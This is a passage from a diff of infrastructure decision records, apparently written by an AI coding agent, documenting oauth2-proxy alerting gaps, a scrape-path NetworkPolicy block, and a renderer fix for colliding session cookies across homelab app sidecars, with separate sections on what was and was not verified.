+  `oauth2-proxy` container, with its declared ports: the two shared replicas have
+  `[('http',4180),('metrics',44180)]`; crafty, jackett, pihole, qbittorrent, radarr and sonarr all
+  have `[('http',4180)]` only. The live jackett sidecar's args contain no `--metrics-address`.
+  `kubectl get servicemonitors,podmonitors -A` lists 16 ServiceMonitors and 5 PodMonitors; the
+  only oauth2-proxy entry is `oauth2-proxy/oauth2-proxy`.
+- **No existing alert is inert *for this reason*, because no alert references these metrics at
+  all.** `grep -rn oauth2_proxy --include=*.yaml` over the tree hits only cookie-name strings in
+  `platform/crafty/`. The 39 live PrometheusRules include `platform-health-identity`, whose four
+  rules are about Keycloak readiness and the client reconciler and are all keyed on `kube_*`
+  (scraped, fine). **The inertness here is the absence of a rule, not a broken one** — which is
+  why the runbook README's inert-alerts table gains a row phrased like the etcd one.
+- **Keycloak cannot express it either.** `count by (__name__) ({__name__=~"keycloak_.*"})` →
+  empty, and empty over `[30d]`. The `keycloak-service` scrape yields JVM/Agroal/JGroups metrics
+  only; there are no user-event or login counters, so "a burst of re-logins for one client" is not
+  observable from the IdP side.
+- **`oauth2_proxy_requests_total` has existed historically but not on the current pods.**
+  `count_over_time(oauth2_proxy_requests_total[30d])` returns three series, all from
+  `oauth2-proxy-78449b5657-*` (a prior ReplicaSet): `code="302"` on both replicas and `code="401"`
+  on one, ~634 samples each (~5h of a 30d window). **No `code="202"` ever.**
+- **The alert expression fires against live data.** Run verbatim on prod:
+  `count by (namespace) (kube_pod_container_info{container="oauth2-proxy"}) unless count by
+  (namespace) (up{container="oauth2-proxy"})` → `pihole, jackett, crafty, qbittorrent, sonarr,
+  radarr`, value 1 each; `oauth2-proxy` correctly absent.
+- **The log signal exists and is collected.** Loki (`loki-0`, SingleBinary) and a 3-node Alloy
+  DaemonSet are running, and Alloy labels pod logs with `namespace`/`container`. LogQL over 24h,
+  `{container="oauth2-proxy"}`: crafty 12036 lines, jackett 11669, oauth2-proxy 34559, pihole
+  11520, qbittorrent 11520, radarr 11763, sonarr 11520. Filtered to `|= "No valid authentication
+  in request"`: **crafty 81, jackett 39, radarr 67**; to `|= "AuthSuccess"`: **crafty 1, jackett
+  4, radarr 1**. Those ratios (81:1, 10:1, 67:1) are the incident's signature and are in the
+  runbook as the thing to compare against.
+- **Why `kubectl logs` hid it.** The jackett sidecar's stdout is ~11.5k lines/day and almost all
+  of it is `GET "/ping" ... 200 2` from the kubelet probe, twice every 15s. A `--tail=40` shows
+  forty `/ping` lines and looks perfectly healthy. The runbook's commands all filter.
+- **Runbook registration, both halves.** `- oauth2-proxy-auth-failures=oauth2-proxy-auth-failures.md`
+  is in `runbooks/kustomization.yaml`'s `configMapGenerator.files`, and the page is listed under
+  *Identity* in `runbooks/README.md`. The page clears the L0 quality floor (the four operator
+  sections, >1500 bytes, mentions `dev.sh` and `--context k3s-prod`), and the alert's
+  `runbook_url` points at exactly that name.
+- **Gate:** run in the pinned toolbox from this worktree with the `ENGINE` shim. Exit code and
+  per-stage outcomes in the next section — read them there, not here.
+
+## What I did NOT verify
+
+- **The alert has never fired in Alertmanager.** Nothing is applied; the PrometheusRule exists
+  only in git on this branch. What is proven is that its expression returns the expected vector
+  against live prod data and that promtool agrees about its behaviour over synthetic series.
+  **Merging is what deploys it.**
+- **`OAuth2ProxyGateUnobserved` would NOT have fired *during* the 2026-09-30 jackett incident in
+  any useful sense** — it describes a standing condition that has been true since the sidecars
+  were deployed, so it would have been firing before, during and after. That is deliberate and it
+  is the honest claim: it is a **gap tracker**, not an incident detector. It would have meant that
+  on 2026-09-30 an operator asking "why did nothing alert?" had the answer already on the board
+  instead of discovering it during the investigation. **No alert on this platform could have
+  detected the incident itself, and none can today.**
+- **The alert that the brief actually asked for does not exist, and cannot be written yet.** The
+  sustained-redirect-ratio rule needs `oauth2_proxy_requests_total` from the *per-app* sidecars.
+  **Enabling that requires editing files owned by the two sibling branches** — the sidecar args in
+  `apps/wave-0/jackett.yaml` (Mira Vance) and `apps/wave-0/{qbittorrent,pihole}.yaml`,
+  `apps/wave-1/{radarr,sonarr}.yaml` (Theo Bright) — so it was **not attempted here**. The change
+  is three things per app, together: `--metrics-address=0.0.0.0:44180`, a `metrics` containerPort
+  plus Service port, and a ServiceMonitor. Once any one app has them, the rule belongs beside
+  `OAuth2ProxyGateUnobserved`, and that app's namespace drops out of it automatically.
+- **The Loki alerting path is inert and I did not fix it.** Loki *has* a ruler stanza and the
+  chart's `loki-sc-rules` sidecar is running with `LABEL=loki_rule`, `FOLDER=/rules` — so a
+  ConfigMap-shipped LogQL rule would be delivered. But `GET /loki/api/v1/rules` answers **"unable
+  to read rule dir /var/loki/rules/fake: no such file or directory"** (the ruler reads a different
+  directory from the one the sidecar writes), and the rendered config contains **no
+  `alertmanager_url`** — `grep -i 'alertmanager\|rule_path'` over the `loki` ConfigMap returns
+  nothing. So a LogQL alert on `|= "No valid authentication in request"` — which *would* have
+  caught this incident, and is the single highest-value follow-up here — **would evaluate and
+  notify nobody**. Wiring it means `rulerConfig` (alertmanager_url + a matching rules directory)
+  in `platform/monitoring/loki.yaml`, which is not a file this brief gave me. **I did not ship an
+  inert rule ConfigMap to look productive.**
+- **Nothing was reproduced in a browser.** The 302-to-200-with-HTML mechanism is read off the
+  sidecar access log and the response sizes (`/UI/Dashboard 200 44379`), not observed in devtools.
+- **Loki retention is 72h** (`platform/monitoring/loki.yaml`), so the 24h ratios above are a
+  snapshot; anything older than three days is already gone. This is stated in the runbook because
+  it bounds what an operator can still investigate.
+- **The gate's L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so no runtime
+  requirement touched by this branch is certified. See the exit code below — **rc 3 is
+  UNDETERMINED, not green.**
+
+### Follow-ups, in order of value
+
+1. **Wire the Loki ruler to Alertmanager** (`platform/monitoring/loki.yaml`). This is the only
+   route to an alert that would have caught the actual 2026-09-30 failure, and the data is
+   already being collected. The rule is one expression:
+   `sum by (namespace) (rate({container="oauth2-proxy"} |= "No valid authentication in request" [15m]))
+   > 5 * sum by (namespace) (rate({container="oauth2-proxy"} |= "AuthSuccess" [15m]))`.
+2. **Give one gate sidecar a metrics endpoint** and watch its namespace drop out of
+   `OAuth2ProxyGateUnobserved`. That is the cheapest proof the alert is a tracker and not a nag,
+   and it unlocks the ratio rule in Prometheus.
+3. **Consider whether `--set-xauthrequest` apps should get `--api-routes`** so API paths answer
+   401 instead of 302. That is the fix that would make this failure *loud* rather than merely
+   observable, and it belongs with whoever owns the sidecar args.
+
+---
+
+# Round 2 — 2026-10-01: the scrape got wired, and found a bug in this branch's own alert
+
+Added to the same PR (#29) rather than a fourth concurrent branch. PR #28 merged in the meantime
+and `main` moved three PRs ahead; `origin/main` is merged in here, and the `runbooks/kustomization.yaml`
+conflict was resolved by **keeping both** runbook entries (mine and `oauth2-proxy-session`).
+
+## What changed
+
+**`platform/oauth2-proxy/podmonitor.yaml` (new).** PR #28 gave the five fleet sidecars
+`--metrics-address=0.0.0.0:44180` and a named `metrics` port. No Service exposes 44180 on any of
+them, so a ServiceMonitor would have nothing to select — a **PodMonitor** targets pod ports directly
+and needs no renderer change. Selects on the pod label `homelab.keithjackson.dev/auth-mode:
+forward-auth`, which is on exactly the five fleet gate pods and absent from crafty's: the property,
+not an app list, so a sixth forward-auth app needs no edit.
+
+**`auth-visibility-alerts.yaml`: `up{container="oauth2-proxy"}` → `up{container="oauth2-proxy"} == 1`.
+This is a real bug fix, and it is the most important thing in this round.** A target that is
+discovered but failing still publishes `up`, with value **0**. The series exists, so
+`count by (namespace)` returned 1, `unless` removed the namespace, and `OAuth2ProxyGateUnobserved`
+would have **gone quiet while nothing was being scraped at all** — this branch's own disease,
+reproduced inside the alert written to cure it. Not hypothetical: the PodMonitor lands five targets
+whose scrape is dropped, so the bare form would have silently cleared on this very commit.
+
+**Two new unit-test scenarios** pinning that: a discovered-but-failing target must still fire, and a
+target that works and then breaks must re-fire rather than latch cleared.
+
+**Docs corrected rather than appended to.** The 2026-09-30 claim "the sidecars export no metrics at
+all" is now only half true and was rewritten in `runbooks/README.md`, `platform/oauth2-proxy/README.md`
+and the alert header, each showing the two-step history, because each step looked like the end of it.
+The runbook gains the policy-vs-no-target triage (step 1b) and the **radarr `/signalr` worked case**.
+
+**Deliberately NOT shipped: the ratio alert.** `oauth2_proxy_requests_total` now exists on the
+endpoint, but not in the TSDB, because the scrape is blocked. Writing the ratio rule today would make
+it inert for precisely the reason it was refused on 2026-09-30. It becomes writable the day a scrape
+succeeds, not the day a listener exists.
+
+## What I verified
+
+- **The endpoint serves — by payload, not by flag.** Port-forwarded to the jackett pod's 44180:
+  `http=200 bytes=10208`, exporting `oauth2_proxy_requests_in_flight`, `oauth2_proxy_requests_total`
+  (`code="200" 3`, `code="302" 2`) and `oauth2_proxy_response_duration_seconds`. `--metrics-address`
+  being in `args` and `/metrics` returning a body are different claims; both now hold.
+- **The scrape path is DROPPED, measured from the right place.** From grafana in ns `monitoring`
+  (beside Prometheus, same policy position) to the jackett pod IP: `:44180` → `wget: download timed
+  out`; `:4180` → **also** timed out; the shared proxy's `:44180` → 200 with `oauth2_proxy_*` present.
+  Cause, read from the objects: ns jackett's `default-deny` is `podSelector: {}`,
+  `policyTypes: [Ingress, Egress]`, with an `egress` rule and **no `ingress` key** (deny-all ingress);
+  the only allowance is CNP `jackett-allow-gateway-ingress`, `fromEntities: [ingress]` to port 4180.
+  The shared proxy is scrapable only because ns `oauth2-proxy` has **no NetworkPolicy at all**.
+- **No Service exposes 44180** on any of the five (enumerated).
+- **The pod label selector is exact:** `auth-mode=forward-auth` on all five fleet gate pods, absent
+  from crafty's. Crafty's sidecar still has no `--metrics-address` (args read in full).
+- **Flux ordering forbids shipping the fix from here:** `oauth2-proxy dependsOn=['platform-config']`
+  and `apps-wave-0 dependsOn=['platform-config']` — siblings, no ordering. A NetworkPolicy naming ns
+  `jackett` from this tier would apply today and fail on a cold rebuild.
+- **The `== 1` guard is non-vacuous — proven by mutation.** Reverting it to the bare `up` makes the
+  two new scenarios FAIL (`got: nil` at 1h5m and 2h5m) and leaves every other assertion passing;
+  restoring it returns the suite to SUCCESS under pinned promtool v3.14.0.
+- **Gate:** see the next section for the exit code and skips.
+
+## What I did NOT verify
+
+- **The PodMonitor has never been applied.** That it discovers the five pods is reasoned from the
+  measured pod labels and port name, not observed — no target list has been read with it in place,
+  because applying it is an operator action. **Expect `up == 0` on all five when it lands**, which is
+  the documented state, not a regression.
+- **I did not fix the NetworkPolicy, and this PR therefore does not make the gates observable.** It
+  makes them *discovered*, and makes the remaining gap loud instead of silent. The one narrow rule
+  per app (ns monitoring → `auth-mode=forward-auth` → TCP 44180, per
+  `platform/longhorn/networkpolicy-metrics.yaml`) has to be rendered with each app's own policy, in
+  the catalog/renderer that is in flight on another branch. **It needs an owner.**
+- **Whether Prometheus will actually select a PodMonitor in ns `oauth2-proxy` targeting other
+  namespaces.** `namespaceSelector.any: true` plus `podMonitorSelectorNilUsesHelmValues: false` and
+  the fact that cross-namespace ServiceMonitors/PrometheusRules already work here say yes; it is not
+  measured with this object.
+- **No session-lifecycle claim can be made from the current window.** `AuthSuccess` is **0** on both
+  jackett and radarr since the PR #28 restart, so nobody has signed in and `--cookie-refresh=2m30s`
+  has never executed a refresh. The cookie fix is unproven in the one dimension that matters most.
+- **The radarr `/signalr` finding is the coordinator's measurement, not mine** — I reproduced neither
+  the 206/209 sample nor the jackett 0-in-13,612. They are recorded as reported.
+- **L2/L3 conformance still did not run** (`CLUSTER_AVAILABLE` unset). Nothing is certified.
+
+### Round 2 addendum — CI is RED, by design, and the local gate cannot see why
+
+After pushing round 2, `gate / gate (pull_request)` reported **failure after 1m42s** while the local
+toolbox run was rc 3 with nothing failed. Measured cause, singular:
+
+    sensitive paths touched:
+      conformance/tests/l0-static/servicemonitor-ports-resolve/check.sh   (matched conformance/**)
+    approving reviews: (no reviews at all)        author=gitea-admin
+
+`ci/approval-policy.sh` is fail-closed and exits 1 when a PR touches a `sensitive_paths` glob with no
+`APPROVED` review from a non-author — "a change to the gate cannot be gated by the gate". The single
+`KNOWN_EXTERNAL_MONITORS` entry is what trips it. **Nothing in L0/L1 failed.**
+
+**The local gate structurally cannot catch this, and said `approval-policy: green (N/A)`.** The stage
+short-circuits to N/A when `GITHUB_EVENT_NAME` is unset, which it always is off-CI. So for any branch
+touching a sensitive path, a clean local gate is a FALSE REASSURANCE — the PR run is the only honest
+signal. That is a general trap, not specific to this change, and it is worth knowing before someone
+concludes a red PR means broken code.
+
+To clear: a non-author approving review, then **re-run the gate** — approval does not re-trigger the
+status check, so the required context stays red until the job runs again. `required_approvals=1`
+already applied to every PR here, so the human was needed regardless; the conformance entry only
+turns the tick red while that is pending.
+
+The alternative is to drop the register entry, which means dropping `podmonitor.yaml` with it (the
+check fails without the declaration). I did not take it: the entry is the "declare the limit"
+mechanism the check explicitly asks for, it is shrink-only so it cannot rot quietly, and
+`flux-podmonitor.yaml` is the same case already in the register. But it is a real trade and the
+reviewer should make it knowingly.

decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md

@@ -0,0 +1,378 @@
+---
+date: 2026-09-30
+branch: fix/oauth2-proxy-cookie-collision-fleet
+title: The cookie collision was never Crafty's — it was the renderer's, and it shipped to five apps
+---
+
+## What changed
+
+Follow-up #3 of `decisions/2026-09-29-crafty-oauth2-proxy-signin.md`: *"Any further per-app
+reverse-proxy sidecar needs a unique `--cookie-name` too. The collision is a property of the
+pattern, not of Crafty."*
+
+It is a property of the pattern, and this branch found where the pattern actually lives.
+
+**Read the scope claim carefully before the detail.** This branch fixes THREE defects in the
+forward-auth sidecar contract, all in one function, all landing on all five apps at once:
+
+| Defect | Fix | Measured evidence |
+|---|---|---|
+| Six independent instances, seven different cookie-secrets, **one** cookie name on **one** zone-wide domain — so they overwrite and `ClearSession`-delete each other's sessions | `--cookie-name=_oauth2_proxy_<app>` + host-scoped `--cookie-domain` | 7/7 distinct secrets; 6 instances on the default name; radarr logs the eviction fingerprint 8× in 12h |
+| The session dies **5 minutes** after sign-in — `--cookie-refresh` defaults to 0 = *disabled*, so the refresh token the proxy already holds is never spent | `--cookie-refresh=2m30s` (half the lifetime) | access-token lifetime = **300.000s exactly**, `refresh_token:true`, flag absent |
+| **No** per-app sidecar serves `/metrics` at all — without `--metrics-address` the listener never starts | `--metrics-address=0.0.0.0:44180` + a `metrics` container port | `ports` was `['http']` on all six |
+
+Rejection *volume* is dominated by the second defect, not the first: ~95% of radarr's rejections
+carry no cookie at all. **Do not merge this expecting one number to drop** — three mechanisms were
+tangled together, and separating them is most of the value here.
+
+**Boundary note.** My brief originally reserved `apps/wave-0/jackett.yaml` for a concurrent branch.
+That split is not achievable and has been revoked: the file is generated, the fix is one renderer
+edit, and `render-golden` requires all five goldens regenerated in the *same commit*. I own all
+five. The proof I ran before touching jackett is under "What I verified".
+
+**The defect was not in the four manifests it was reported in.** `apps/wave-0/pihole.yaml`,
+`apps/wave-0/qbittorrent.yaml`, `apps/wave-1/radarr.yaml`, `apps/wave-1/sonarr.yaml` — and
+`apps/wave-0/jackett.yaml` — are **generated goldens**. One function emits all five sidecars:
+`catalog/render.py::_oauth2_sidecar_container()`, which hardcoded `--cookie-domain=.{ZONE}` and
+emitted no `--cookie-name` at all. Hand-editing a golden is not a fix twice over: `ci/render-golden.sh`
+FAILS on the drift (provoked, not assumed — see below), and the next re-render silently reverts it.
+
+So the fix is in the generator, and both flags are now **derived** from the ServiceDefinition:
+
+    --cookie-name=_oauth2_proxy_{s['name']}     unique per service, by construction
+    --cookie-domain={host}                      the app's own route host, not the zone
+
+`--whitelist-domain` deliberately stays zone-wide — it governs permitted post-login *redirect*
+targets, not cookie scope. `catalog/render.py --selftest` gained four assertions, including one
+that renders a **second** synthetic forward-auth service and requires the two cookie names to
+differ, so a future refactor to a constant fails in the renderer's own test.
+
+Re-rendering with the canonical command regenerated **five** goldens, not four. Jackett is the
+fifth, and this is the one thing in this branch the PM brief did not anticipate — see
+"the jackett collision" below. The three `conformance/tests/l1-rendering/*/golden/` fixtures are
+expected-output copies of the same renderer, so they are regenerated too; that is not collateral
+damage, it is the L1 stage doing its job (it FAILED on the first gate run and named the drift).
+
+**The new gate check** is `conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/`,
+declaring `conformance.home.k3s/scope: whole-repo` so `ci/l0.sh`'s `--include-scope` union runs it
+on **every** gate invocation. No bespoke `ci/l0.sh` stage was added — `whole-repo-invariants-wired`
+fails the gate if anyone adds one, and the scope annotation is the supported mechanism.
+
+It inventories every oauth2-proxy instance the repo authors (containers at any depth, plus the
+shared proxy's HelmRelease values) and resolves each one's **effective** cookie name — its declared
+name, **or oauth2-proxy's built-in `_oauth2_proxy` when it declares none**. That single modelling
+decision is the whole check: an omitted flag is not an absence, it is a *claim on a name*, and
+treating it as an absence is precisely why five reviewers read these manifests and saw nothing.
+Then: (1) no two effective names collide; (2) no name is another's name + `_csrf`, because that is
+how oauth2-proxy derives the CSRF cookie and two such session names look distinct while their CSRF
+cookies collide; (3) the default name has exactly one owner, and it is the one registered in
+`SHARED_DEFAULT_COOKIE_OWNER`; (4) every non-registered instance is host-scoped; (5)
+`catalog/render.py` derives rather than lists; (6) the **shipped** renderer is proven end-to-end on
+two synthetic ServiceDefinitions run as a subprocess.
+
+**On the shared proxy — "distinct" or "explicitly declared"?** The brief asked me to decide, and
+the answer is *neither, quite*. The shared forward-auth proxy at `platform/oauth2-proxy/` **must
+keep** `_oauth2_proxy`: it is the single session every forward-auth-gated surface without its own
+sidecar rides on, so renaming it signs all of them out at once. Requiring *every* instance to
+declare a name would therefore need an exemption, and an exemption is a hole: delete the shared
+proxy and whichever app next omitted the flag would silently inherit the default with the rule
+still satisfied. So the assertion is plain **distinctness over effective names**, with the default
+treated as a name like any other — held by **exactly one owner, named in a shrink-only register
+with its reason**. The shared proxy needs no exemption from the rule; it is simply the registered
+holder of that one name. A stale register entry FAILS (the exemption would outlive its object) and
+an unregistered holder FAILS (no silent heirs). Both were provoked and are quoted below.
+
+**On host-scoped `--cookie-domain` — overreach, or not?** Asserted, and here is the argument both
+ways. *Against:* distinct names alone close the eviction bug completely — two differently-named
+cookies do not overwrite each other however wide their domains are — so this assertion fixes
+nothing (1) has not already fixed, and a check that fails a legitimate configuration is a check
+someone eventually disables. *For, and this wins:* a zone-wide cookie is **transmitted by the
+browser to every host in the zone**. qBittorrent's session token was being sent to pihole, radarr,
+sonarr and every other name under the zone, including hosts behind no proxy at all — a
+session-credential disclosure across trust boundaries that nothing needs. And it is what makes a
+*future* name collision catastrophic rather than contained: with host-scoped cookies, two
+instances that accidentally share a name cannot see each other's cookie at all. Defence in depth
+on the exact axis that already failed once. The escape hatch is the same register, by name and
+with a reason, rather than a loosened rule.
+
+### The jackett boundary, and why it could not hold
+
+`apps/wave-0/jackett.yaml` carries the identical defect and was initially assigned to a concurrent
+branch, with an instruction to me not to touch it. **That separation is not achievable** — the
+ownership split was drawn across a generated file — and I did not discover this by reasoning about
+it, I provoked it. With the renderer fixed and jackett's golden left at its `main` content,
+`./ci/render-golden.sh` exits **1**:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render:
+    -        - --cookie-domain=.${BASE_DOMAIN}
+    +        - --cookie-name=_oauth2_proxy_jackett
+    +        - --cookie-domain=jackett.${BASE_DOMAIN}
+    [fail] render==golden check FAILED
+
+Jackett's golden is an *output* of the file that contains the defect. There are exactly three
+options and two of them are worse: hand-edit four goldens and leave the generator broken (fails
+`render-golden`, and reverts on the next render); add a per-service carve-out to the renderer so
+jackett alone keeps defaulting (ships the exact "list, don't derive" anti-pattern this check
+exists to forbid, and leaves jackett broken *by design*); or fix the generator and regenerate all
+five. I took the third. Jackett's golden here is **machine output of a one-line generator change**,
+not an independent edit of Mira's file, and it is byte-identical to what her branch must produce.
+
+**Consequence:** the jackett branch has no cookie work left in it — this commit fixes jackett
+identically and by the same mechanism, and both branches independently arrived at the *same two
+values* (`_oauth2_proxy_jackett`, `jackett.${BASE_DOMAIN}`), which is a good sign for the
+diagnosis. Its hand-edit of the rendered file will fail `render-golden` on its own terms, so it
+should be closed rather than rebased. **What must not be lost with it** is its evidence: the
+interleaved radarr/jackett log showing `removing session` deleting a clean session 26s after login,
+and the `expires − created = 300.000s` measurement that produced `--cookie-refresh` here. Both are
+carried into this entry and into the renderer's comments; the branch itself is now redundant, the
+work behind it is not.
+
+**The general lesson, which is worth more than this bug:** an ownership split across
+`apps/wave-*/*.yaml` cannot hold, because those files are *outputs*. Two agents assigned two
+rendered apps are assigned the same function and will collide in `render-golden` no matter how
+carefully they stay in their own files. Ownership of a rendered app is ownership of
+`catalog/render.py`, and briefs should say so.
+
+### What this branch deliberately does NOT do
+
+- **`--api-route=^/api/` is NOT added**, and not because of scope discipline alone: it would be
+  **wrong** renderer-wide. It was measured on jackett, and **PiHole does not serve `/api/`** — so
+  a renderer constant applies one app's path shape to five. Doing it properly means declaring API
+  path prefixes per service, and the `auth` block is `additionalProperties: false`, so that is a
+  *schema change*. Separate PR. (Note the flag is **`--api-route`, singular** — verified in the
+  pinned binary's own `--help`. The plural `--api-routes` does not exist in v7.8.1 and the proxy
+  refuses to start with it. That error was propagating through briefs; it stops here.)
+- **`--session-cookie-minimal` is NOT added** and must not be, as a cookie-size fix: it is
+  **mutually exclusive** with `--cookie-refresh` (*"cookie_refresh > 0 requires oauth tokens in
+  sessions"*). Dropping `--pass-access-token` is a least-privilege argument, never a size one.
+- **Metrics are NOT scraped, only served.** The flag and container port are the prerequisite;
+  a container port is not a Service port. These Services expose the app port and `:4180`, and each
+  namespace's default-deny baseline is `ingress: []`, so Prometheus can neither resolve nor reach
+  `:44180` until a Service port (or PodMonitor), a monitoring-ingress allow and a ServiceMonitor
+  exist. That wiring is someone else's follow-up and I have deliberately not faked its start.
+  **Nobody should read this commit as "the sidecars have metrics now."**
+- **The new check was NOT widened to cover cookie-refresh or metrics.** Its subject is cookie
+  *identity*; those two share neither its inputs nor its failure mode. Bundling them would make
+  the check's name a lie and couple unrelated ratchets, so a future metrics decision could only
+  be expressed by weakening a *cookie* check. The cost of that discipline is named honestly in
+  the follow-ups: those two flags are currently **ungated**.
+
+## What I verified
+
+- **The premise, in-cluster, rather than inherited from the handoff** (CLAUDE.md §2b). Read-only,
+  `kubectl --context k3s-prod`, through the pinned toolbox.
+  - **Seven** `*-oauth2-proxy` Secrets carry a `cookie-secret`: crafty, jackett, pihole,
+    qbittorrent, radarr, sonarr, and the shared `oauth2-proxy-credentials`. **All seven values are
+    DISTINCT.** Compared without printing anything: each value was hashed **in-cluster-side script,
+    never echoed**, and only the first 8 hex characters of each `sha256` were emitted — enough to
+    say same-or-different, recovering nothing. Secret *key names* were listed; no `.data` or
+    `.stringData` was printed (CLAUDE.md §6). **So no instance can decrypt another's cookie — it can
+    only overwrite it. The premise holds.**
+  - **The default cookie names really were in use.** Of 8 live oauth2-proxy containers, **6 declare
+    no `--cookie-name` at all** — jackett, pihole, qbittorrent, radarr, sonarr, and both replicas of
+    the shared proxy — so all six emit `_oauth2_proxy` / `_oauth2_proxy_csrf`. All six also carry
+    `--cookie-domain=.home.keithjackson.dev`. **One cookie pair, six independent instances.**
+  - Crafty's live pod (`crafty-647c7d8cc5-5spv9`) already carries
+    `--cookie-name=_oauth2_proxy_crafty` and `--cookie-domain=crafty.home.keithjackson.dev`, so
+    PR #22 is merged and reconciled. It is the only compliant per-app instance on the cluster.
+- **THE COLLISION IS REAL. IT IS NOT ESTABLISHED AS THE CAUSE OF THE REPORTED FAILURES.** These
+  are two different claims and only the first is supported. I was handed counter-evidence —
+  crafty, the app already fixed, showed the *worst* rejection ratio of the set over a 24h Loki
+  window (`crafty 81:1`, `radarr 67:1`, `jackett 39:4`) — and it is right to refuse the causal
+  claim. What I could do was bound the window. Read from **each sidecar's own log** rather than
+  Loki, because `kubectl logs` on a pod that has not restarted cannot reach a pod older than
+  itself, so a window inside the pod's age is inside the fixed spec's lifetime *by construction*:
+
+      namespace      age(h) rst  reject success    ratio  cleared  badsig
+      crafty           13.9   0       3       0      n/a        0       0   <- FIXED spec, whole life
+      radarr          422.5   0     155       1  155.0:1        8       8
+      jackett         422.6   0      39       4    9.8:1        1       1
+      pihole          395.7   0       0       0      0:0        0       0
+      qbittorrent     404.1   0       0       0      0:0        0       0
+      sonarr          422.5   0       0       0      0:0        0       0
+      oauth2-proxy    422.6   0       0       0      0:0        0       0   (both replicas)
+
+  `reject` = `No valid authentication in request`; `success` = `AuthSuccess`;
+  `cleared` = `removing session` (oauth2-proxy's `ClearSession`); `badsig` = `cookie signature
+  not valid`. Window `--since=24h`, which exceeds every pod's age only for crafty — whose pod is
+  13.9h old with **0 restarts**, so these are its complete post-fix figures.
+
+  Then I read crafty's four auth-relevant lines rather than counting them, because at n=3 the
+  content is the evidence:
+
+      03:57:20  Cookie settings: name:_oauth2_proxy_crafty secure(https):true httponly:true
+                expiry:168h0m0s domains:crafty.home.keithjackson.dev path:/
+      04:02:55  No valid authentication in request. Initiating login.
+      15:22:39  No valid authentication in request. Initiating login.
+      15:22:44  No valid authentication in request. Initiating login.
+
+  6743 log lines; those are all four. **Zero** `removing session`, **zero** `cookie signature
+  not valid`, zero anything else.
+
+  Four conclusions, kept separate:
+  1. **`crafty 81:1` is a window artefact. It is not evidence against the fix and must not be
+     cited as such.** The fixed pod emitted **3** rejections in 13h 52m; the 81 came from a 24h
+     window straddling it, i.e. from the pre-fix process.
+  2. **The eviction FINGERPRINT is gone where the fix is deployed.** `cookie signature not
+     valid` + `removing session` is what a clobbered instance logs — a cookie *is* present,
+     written with a key this instance does not hold, so it cannot decrypt it and then
+     `ClearSession` expires it on its own `--cookie-domain`. Fixed crafty: **0 and 0** across
+     its whole life. Unfixed radarr: **8 and 8** in 12h. Unfixed jackett: 1 and 1. That is a
+     real, directional signal and it is the strongest evidence available that the fix works.
+  3. **It is still not a demonstrated successful sign-in.** Crafty logged **0 `AuthSuccess`** —
+     so what is shown is *absence of the failure mode*, not a session observed working
+     end-to-end. Those three rejections are consistent with benign first-hits (one client, two
+     of them 5s apart, i.e. a page plus a `/ws` reconnect). I am comfortable saying the fix
+     works; I am not willing to say it has been watched working, and the distinction is the
+     whole reason this section exists.
+  4. **The collision is a MINORITY of the rejection volume.** radarr: 8 of 155 (5%) carry the
+     fingerprint; ~95% carry **no cookie at all**. Those are the 5-minute session expiry and
+     `302`-on-XHR — the first of which this branch now also fixes, the second of which it
+     deliberately does not.
+
+  Two cautions about the instrument. `reject` ranks **chattiness, not breakage**: radarr's are
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/negotiate` polls, so a busy *arr
+  inflates the count with nobody inconvenienced. And that same polling is the *amplifier* that
+  made this intermittent — every poll carrying an undecryptable cookie calls `ClearSession`
+  again on the zone-wide domain, so **a left-open Radarr tab deleted Jackett's cookie every few
+  seconds, from another namespace, with no user action at all.** That is why signing in again
+  never helped for longer than the gap between two polls. It is now a comment in the renderer,
+  because it is the part of this bug that no one would reconstruct from the flags alone.
+- **The four target files are generated, not authored.** Rendering `catalog/` with the canonical
+  command into a temp dir and diffing against `apps/` reported all 10 onboarded goldens
+  byte-identical before any change. Hand-editing one is drift by definition.
+- **`render-golden` FAILS if jackett is excluded** — provoked (output quoted above), rc **1**.
+  Restoring the regenerated golden returns it to `all 10 onboarded service golden(s) reproduce`,
+  rc **0**.
+- **Every flag verified against the PINNED v7.8.1 binary**, not against docs, memory, or the
+  shared proxy (which runs **v7.15.3** and therefore could not vouch for v7.8.1):
+  `podman run --rm quay.io/oauth2-proxy/oauth2-proxy:v7.8.1 --help`.
+  - `--cookie-name string ... (default "_oauth2_proxy")` — **this confirms the constant my whole
+    check is built on, from the binary itself.** The check's central claim, that an omitted flag
+    is a *claim on a name* rather than an absence, now rests on the implementation's own help
+    text rather than on my reading of its source.
+  - `--cookie-refresh duration  refresh the cookie after this duration; 0 to disable` — confirms
+    the default really is disabled.
+  - `--metrics-address string` — present in v7.8.1, so the new flag cannot crashloop the pods.
+  - `--api-route strings` — **singular**, confirming the brief's plural was wrong.
+  - `--session-cookie-minimal` — exists, and is the flag that conflicts with `--cookie-refresh`.
+- **44180 is the platform's existing convention, measured, not chosen.** The shared proxy already
+  runs `--metrics-address=0.0.0.0:44180` with a `metrics` container port, a `metrics:44180`
+  Service port, a ServiceMonitor whose endpoint is `metrics`, and **2 ready endpoint addresses** —
+  i.e. it demonstrably works on this platform.
+- **`catalog/render.py --selftest`: PASS**, now including the two-service distinctness assertion,
+  a `--cookie-refresh` assertion that PARSES the duration and requires `0 < refresh < 300s` (so
+  `2m30s` -> `150s` -> `2.5m` all stay green but a silent widening past the token lifetime does
+  not), a `--session-cookie-minimal` mutual-exclusion guard, and both metrics assertions.
+- **The check is selected by the whole-repo union.** `conformance/run.sh --layer l0 --requirements
+  r-nosuchreq-99 --include-scope whole-repo --print-selection` lists
+  `tests/l0-static/oauth2-proxy-cookie-names-distinct` among 20 tests — i.e. it runs even when the
+  touched-requirement filter matches nothing, which is the blind spot it was scoped for.
+- **The check was tested in BOTH directions**, against throwaway trees outside the repo, never by
+  mutating the branch:
+  - **Compliant tree (this branch): rc 0, 39 assertions, 7 instances audited.**
+  - **Pre-fix tree** (`git archive HEAD` + this test dropped in): **rc 1, 26 failures**, naming all
+    five violators, the 6-way `_oauth2_proxy` collision, the zone-wide domains, the renderer
+    emitting no `--cookie-name`, and both synthetic fixtures rendering `None`.
+  - **Targeted mutations on a compliant copy**, one assertion class each, all fired and nothing
+    else did: duplicate name (sonarr←radarr) → 1 failure; CSRF derivation
